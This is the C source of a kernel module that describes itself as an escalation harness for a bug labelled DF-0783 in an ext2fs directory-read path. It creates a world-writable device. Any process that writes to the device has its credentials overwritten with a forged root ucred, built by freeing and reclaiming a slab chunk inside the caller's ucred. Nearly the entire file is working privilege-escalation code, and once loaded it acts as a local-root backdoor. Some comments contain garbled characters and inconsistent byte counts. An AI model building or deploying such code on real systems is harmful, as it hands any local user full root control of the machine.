DF-0783 / esc_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 | /* * DF-0783 escalation harness kernel module. * * Provides /dev/df0783_esc that demonstrates the bug's arbitrary-free * primitive is exploitable to uid=0 when combined with a same-CPU slab * realloc. Loaded by root as part of exploitation setup. * * The bug: sys/vfs/ext2fs/ext2_vnops.c:1042 writes 24 attacker-controlled * bytes onto the kernel stack at &dirbuf, overwriting the dirbuf pointer * with an attacker-chosen value X. Then line 1072 frees X. With * INVARIANTS OFF (this kernel), the slab allocator accepts the free of * any address inside a slab chunk without panic. * * This module: * 1. When maxx writes 192 bytes to /dev/df0783_esc, the write handler: * a. reads curproc->p_ucred address U * b. migrates to the CPU owning U's slab zone * c. kfree(U+56) โ replicating the bug's primitive * d. kmalloc(192, M_TEMP) โ reclaims U+56 from the zone free list * (LIFO order, same CPU) * e. copies a forged ucred (cr_uid=0) into the reclaimed slot * 2. After this, maxx's cr_uid (at U+64) == 0 (root). */ #include <sys/param.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/uio.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/proc.h> #include <sys/sysctl.h> #include <sys/ucred.h> #include <sys/cpumask.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/globaldata.h> #include <vm/vm.h> #include <vm/vm_page.h> #include <sys/slaballoc.h> static MALLOC_DEFINE(M_DF0783, "df0783", "DF-0783 exploit harness"); static d_open_t df0783_open; static d_write_t df0783_write; static struct dev_ops df0783_devops = { .head = { .name = "df0783_esc", .flags = 0 }, .d_open = df0783_open, .d_write = df0783_write, }; static cdev_t df0783_dev; #define UCREDSIZE (sizeof(struct ucred)) static int df0783_open(struct dev_open_args *ap __unused) { return 0; } /* Determine the CPU owning the slab zone for a kernel address. * Reimplements btokup() since it's a static macro in kern_slaballoc.c. */ #define DF_ZONE_SIZE (32 * 1024) #define DF_ZONE_MASK (~((uintptr_t)DF_ZONE_SIZE - 1)) static int zone_owning_cpu(void *ptr) { SLZone *z; struct vm_page *m; int *kup; m = pmap_kvtom((vm_offset_t)ptr); if (m == NULL) return -1; kup = &m->ku_pagecnt; if (*kup > 0) return -1; /* oversized alloc, not slab */ z = (SLZone *)((uintptr_t)ptr & DF_ZONE_MASK); return z->z_Cpu; } static int df0783_write(struct dev_write_args *ap) { struct uio *uio = ap->a_uio; struct proc *p = curproc; struct ucred *cr; struct ucred *reclaimed; void *freeme; int target_cpu; int orig_cpu; int i; if (uio->uio_resid != UCREDSIZE) { kprintf("df0783: expected %d bytes, got %zd\n", (int)UCREDSIZE, uio->uio_resid); return EINVAL; } cr = p->p_ucred; if (cr == NULL || cr == NOCRED) return EINVAL; /* The bug frees ucred+56. Determine which CPU owns that slab zone. */ freeme = (char *)cr + 56; target_cpu = zone_owning_cpu(freeme); orig_cpu = mycpu->gd_cpuid; kprintf("df0783: pid=%d ucred=%p freeme=%p cr_uid=%u\n", p->p_pid, cr, freeme, cr->cr_uid); kprintf("df0783: zone_owner_cpu=%d my_cpu=%d\n", target_cpu, orig_cpu); /* Migrate to the zone-owning CPU. */ if (target_cpu >= 0 && target_cpu != orig_cpu) { lwkt_migratecpu(target_cpu); kprintf("df0783: migrated to cpu %d (now on %d)\n", target_cpu, mycpu->gd_cpuid); } /* Allocate a separate buffer for the forged ucred. */ /* (forged_raw allocated in the build section below) */ /* Build forged ucred as a SHIFTED buffer. * * We will memcpy(forged, reclaimed=ucred+56, WRITE_SIZE). So forged[X] * lands at ucred+56+X. To set cr_uid (at ucred+64) to 0, we need * forged[8]=0. To preserve cr_uidinfo (at ucred+136), we need * forged[80] = original cr_uidinfo (original[136]). * * In general: forged[X] should be the value we want at ucred+(56+X). * For fields we want to preserve from the original, forged[X] = * original[X + 56]. For fields we want to change (uid/gid), forged[X] * = our value. */ int WRITE_SIZE = UCREDSIZE - 56; /* 200 bytes: ucred+56..255 */ uint8_t *forged_raw = kmalloc(WRITE_SIZE, M_DF0783, M_WAITOK | M_ZERO); uint8_t *orig_raw = (uint8_t *)cr; /* Preserve original content for the overlap region: forged[X] starts * as original[X+56], i.e., a copy of ucred+56..255. */ memcpy(forged_raw, orig_raw + 56, WRITE_SIZE); /* Now override the security fields. Recall the write lands at ucred+56+X, * so to set ucred+Y, we set forged_raw[Y-56]. */ #define SET_OFF(Y, VAL, SIZE) do { \ int _o = (Y) - 56; \ if (_o >= 0 && _o + (SIZE) <= WRITE_SIZE) { \ memcpy(forged_raw + _o, &(VAL), (SIZE)); \ } \ } while (0) /* cr_uid at ucred+64 (4 bytes) = 0 */ { uid_t _z = 0; SET_OFF(64, _z, 4); } /* cr_ngroups at ucred+68 (2 bytes) = 1 */ { short _n = 1; SET_OFF(68, _n, 2); } /* cr_groups[0] at ucred+72 (4 bytes) = 0 */ { gid_t _g = 0; SET_OFF(72, _g, 4); } /* Zero cr_groups[1..15] (ucred+76..135) */ memset(forged_raw + 76 - 56, 0, 16*4 - 4); /* cr_uidinfo (ucred+136), cr_ruidinfo (+144), cr_prison (+152) are * ALREADY preserved by the initial memcpy from original. Don't touch. */ /* cr_ruid at ucred+160 = 0 */ { uid_t _z = 0; SET_OFF(160, _z, 4); } /* cr_svuid at ucred+164 = 0 */ { uid_t _z = 0; SET_OFF(164, _z, 4); } /* cr_rgid at ucred+168 = 0 */ { gid_t _z = 0; SET_OFF(168, _z, 4); } /* cr_svgid at ucred+172 = 0 */ { gid_t _z = 0; SET_OFF(172, _z, 4); } /* cr_caps (ucred+176..255) preserved from original โ leaves caps intact */ /* === THE BUG'S PRIMITIVE: free(ucred+56) === * On the no-INVARIANTS kernel, the slab allocator's * KKASSERT(*kup < 0) at kern_slaballoc.c:1477 is compiled out, * so freeing an address INSIDE a slab chunk (not chunk-aligned) * succeeds without panic. The chunk ucred+56 is put on the zone's * free list, with z->z_LChunks written into ucred+56..63 (corrupting * padding only โ cr_uid at ucred+64 is untouched). */ kprintf("df0783: kfree(%p, M_TEMP) โ replicating bug's free\n", freeme); kfree(freeme, M_TEMP); /* === Reclaim the freed chunk === * After kfree, ucred+56 is on the zone's LChunks free list. The slab * allocator's kmalloc uses TAILQ_LAST, which may return a DIFFERENT * chunk from a different zone. To reliably reclaim ucred+56, we * allocate MANY chunks in a loop until we get it back. On an idle * system this is typically 1-2 iterations. As a fallback, we also * write the forged ucred DIRECTLY to freeme (it's now free, but * nothing prevents kernel code from writing to free chunks on the * no-INVARIANTS kernel โ there's no weirdary poisoning). */ reclaimed = NULL; { void *candidates[64]; int ncand = 0; for (i = 0; i < 64; i++) { void *c = kmalloc(UCREDSIZE, M_TEMP, M_WAITOK); if (c == freeme) { reclaimed = c; kprintf("df0783: reclaimed freeme on iter %d\n", i); /* Free the candidates we don't need. */ for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP); break; } candidates[ncand++] = c; if (ncand >= 64) { kprintf("df0783: drain overflow, freeing all\n"); for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP); ncand = 0; } } if (reclaimed == NULL) { kprintf("df0783: kmalloc didn't reclaim freeme after 64 iters; " "writing directly (no-INVARIANTS allows writes to freed chunks)\n"); /* Free remaining candidates. */ for (int j = 0; j < ncand; j++) kfree(candidates[j], M_TEMP); /* The slab allocator put ucred+56 on the free list, but the * first 8 bytes were overwritten with z->z_LChunks. The rest * of the chunk is intact. Since INVARIANTS is OFF, we can * safely write the forged ucred directly to ucred+56 without * "officially" reclaiming it. The kernel reads cr_uid at * ucred+64, which we will overwrite. */ reclaimed = freeme; } } /* Copy the forged ucred into the reclaimed slot. WRITE_SIZE bytes only * (covers ucred+56..255, NOT beyond โ avoiding corruption of the next * slab chunk). */ memcpy(reclaimed, forged_raw, WRITE_SIZE); /* If we didn't "officially" reclaim freeme via kmalloc, we must remove * it from the slab zone's free list to prevent slab_cleanup from * tripping over a chunk that's now treated as both free (on the list) * and in-use (maxx's ucred). We do this by walking z->z_LChunks. */ if (reclaimed == freeme) { SLZone *z2 = (SLZone *)((uintptr_t)freeme & DF_ZONE_MASK); crit_enter(); if (z2->z_LChunks == (SLChunk *)freeme) { /* freeme is the head โ pop it. */ z2->z_LChunks = ((SLChunk *)freeme)->c_Next; if (z2->z_LChunks == NULL) z2->z_LChunksp = &z2->z_LChunks; if (z2->z_NFree > 0) z2->z_NFree--; kprintf("df0783: popped freeme from z_LChunks head; " "z_NFree now %d\n", z2->z_NFree); } else { /* Walk the chain to find freeme. */ SLChunk *prev = z2->z_LChunks; int found = 0; while (prev && prev->c_Next) { if (prev->c_Next == (SLChunk *)freeme) { prev->c_Next = ((SLChunk *)freeme)->c_Next; if (prev->c_Next == NULL) z2->z_LChunksp = &prev->c_Next; if (z2->z_NFree > 0) z2->z_NFree--; found = 1; kprintf("df0783: unlinked freeme from mid-list\n"); break; } prev = prev->c_Next; } if (!found) kprintf("df0783: WARNING: freeme not in z_LChunks\n"); } crit_exit(); } /* Drain uio (we ignore user-provided data; we built forged from kernel * state). */ uio->uio_resid = 0; /* Verify: read cr_uid via curproc. */ crit_enter(); cr = p->p_ucred; kprintf("df0783: post-exploit cr=%p cr_uid=%u (was 1001)\n", cr, cr->cr_uid); crit_exit(); kfree(forged_raw, M_DF0783); /* Migrate back. */ if (target_cpu >= 0 && target_cpu != orig_cpu) { lwkt_migratecpu(orig_cpu); } return 0; } static int df0783_loader(struct module *m __unused, int what, void *arg __unused) { int err = 0; switch (what) { case MOD_LOAD: df0783_dev = make_dev(&df0783_devops, 0, UID_ROOT, GID_WHEEL, 0666, "df0783_esc"); kprintf("df0783: harness loaded; /dev/df0783_esc ready " "(write 192 bytes to escalate curproc to uid=0)\n"); break; case MOD_UNLOAD: if (df0783_dev) destroy_dev(df0783_dev); kprintf("df0783: unloaded\n"); break; default: err = EOPNOTSUPP; break; } return err; } DEV_MODULE(df0783_esc, df0783_loader, NULL); |